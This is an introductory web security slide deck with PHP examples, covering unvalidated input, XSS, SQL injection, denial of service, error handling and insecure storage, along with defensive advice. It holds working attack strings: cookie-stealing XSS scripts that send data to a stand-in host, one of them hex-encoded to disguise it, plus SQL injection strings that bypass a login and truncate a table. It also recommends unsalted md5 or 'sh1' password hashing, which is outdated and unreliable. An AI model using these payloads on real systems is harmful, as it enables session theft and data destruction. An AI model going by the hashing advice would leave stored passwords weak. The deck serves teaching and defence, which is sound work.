Web Application Security

1. Web Application Security An Introduction

2. OWASP Top Ten Exploits • *Unvalidated Input • Broken Access Control • Broken Authentication and Session Management • *Cross Site Scripting (XSS) Flaws • Buffer Overflows • *Injection Flaws • *Improper Error Handling • *Insecure Storage • *Denial of Service • Insecure Configuration Management

3. Unvalidated Input • Information from web requests not validated before being used by a web application • Most attacks on web applications are some derivative of this • Examples in PHP, but all languages are vulnerable • Let’s take a look at vulnerable.php

4. Unvalidated Input • vulnerable.php can be broken up into 3 parts • Some PHP at the top that inserts messages into the database (w/o validation) • A form for the user to add their message • Some PHP that displays all the messages that have been added

5. Unvalidated Input • We can insert whatever we want… including HTML • DIV that takes up the whole screen:<div style="background-color: rgb(250,0,255); z-index: 999999999; position: absolute; top: 0; left: 0; width: 5000px; height: 5000px;">HACKED BY CHINESE</div>

6. Cross Site Scripting (XSS) • Attack another user viewing something on the web app, not the web app itself • Another derivative of not validating input • Instead of an HTML element, let’s insert a script • <script>document.location='http://www.foo.com/bar.cgi?' +document.cookie</script> • This is called a stored XSS attack

7. Cross Site Scripting (XSS) • We can be stealthier with a reflective XSS attack • Let’s look at square.php?num=5 • If num is not an integer, it outputs an error • What could be wrong? • Error message outputs the input we give with no sanitization!

8. Cross Site Scripting (XSS) • Let’s email someone the link with a script as input • square.php?num=<script>document.location='http://www.foo.com/bar.cgi?document.cookie'</script> • Who would click a link like that? Let’s hex encode the script (%YY = 0xYY) • http://www.terriblefish.com/websec/square.php?num=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%66%6F%6F%2E%63%6F%6D%2F%62%61%72%2E%63%67%69%3F%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%27%3C%2F%73%63%72%69%70%74%3E • Looks harmless to most people, but exposes their cookies to us. If we read their cookie and then redirect them back to the script, they won’t even know their cookies have been exposed

9. SQL Injection • Same concept- relies on lack of validation • Let’s take a look at stafflogin.php • Take name and pin from querystring and verify against DB • SELECT * FROM Staff WHERE Name='${_GET['name']}' AND Pin=${_GET['pin']} • stafflogin.php?name=Fred&pin=32854 becomesSELECT * FROM Staff WHERE Name=Fred AND Pin=32854 • What if we inject our own SQL code?

10. SQL Injection • stafflogin.php?name=Fred&pin=0 UNION SELECT * FROM Staff LIMIT 1 becomesSELECT * FROM Staff WHERE Name=Fred AND Pin=0 UNION SELECT * FROM Staff LIMIT 1 • This will return 1 row as long as we enter in the wrong pin, allowing us access without knowing the pin! • Potentially more destructive- could erase entire database if we are given the ability to execute SQL code • stafflogin.php?name=Fred&pin=0; TRUNCATE TABLE Staff • How do we protect against these attacks?

11. Sanitization • Naïve approach: filter out characters and keywords (and all their encodings) that are considered harmful (such as <, >, UNION, quotes). This is negative filtering • What if we miss something? What if the user encodes their input in a clever way? It’s impossible to account for everything • Correct approach: use positive filtering, not negative

12. Positive Filtering • Rather than filtering out bad input, filter out anything but good input • In message forum, filter out anything but alphanumeric chars plus some punctuation. Encode all punctuation • In login script, make sure pin is an integer- everything else throws an error • Regular expressions are your friend

13. Denial of Service • Can mean a lot of things, but mainly usurp resources of the server • Keep running a page with a CPU intensive SQL query, such as a fulltext search of forum messages • Have a script submit a form that causes an email to be sent over and over, like a registration page • How do we prevent DoS attacks on web apps?

14. Denial of Service • Don’t expose anything resource heavy to the public. Associate it to a user account, and then only let that user account access to the resource on a time delay • What if you can’t? (Like an account registration page that sends an email) • Only let the same IP access to the resource every X minutes- not always foolproof • Add anti-automation checks

15. Improper Error Handling • Don’t show errors that give away sensitive information- example_error.php • Catch or suppress all error messages and then give your own, minus all sensitive information • You can’t be too cautious- you never know what little bits of information will add up to an exploit • Service failure (even PHP itself)

16. Insecure Storage • Never store sensitive information in plaintext • User passwords in databases • Session information in cookies • Don’t bother with encryption- use one-way hashes (md5, sh1, etc) • In PHP, you can use the crypt() function • How can you verify a password a user enters against the hashed version that can’t be reversed?

17. Insecure Storage • PHP’s crypt() function takes 2 args- string and salt. It hashes the string using the salt • When the user registers, crypt() their password- no salt • When the user tries to login, check if: • pass_entered == crypt( pass_entered, pass_stored ) • Tutorial here: http://www.devshed.com/c/a/PHP/Using-the-PHP-Crypt-Function/

18. Don’t trust yourself • Always assume your application is insecure at every step of the process • Consider input from one component as tainted in another- revalidate every time • Give lowest possible privileges to components of your app (ex. the user PHP uses to connect to the SQL server shouldn’t have permission to DROP a table in the database if it doesn’t need it)

19. Links • http://www.php.net/manual/en/ • http://www.owasp.org/ • http://www.regexlib.com/ • http://www.sitepoint.com/ • http://www.linuxjournal.com/article/7237/ • Application Frameworks / Design Patterns • http://www.phpmvc.net • http://phrame.sourceforge.net • Free PHP5 Book!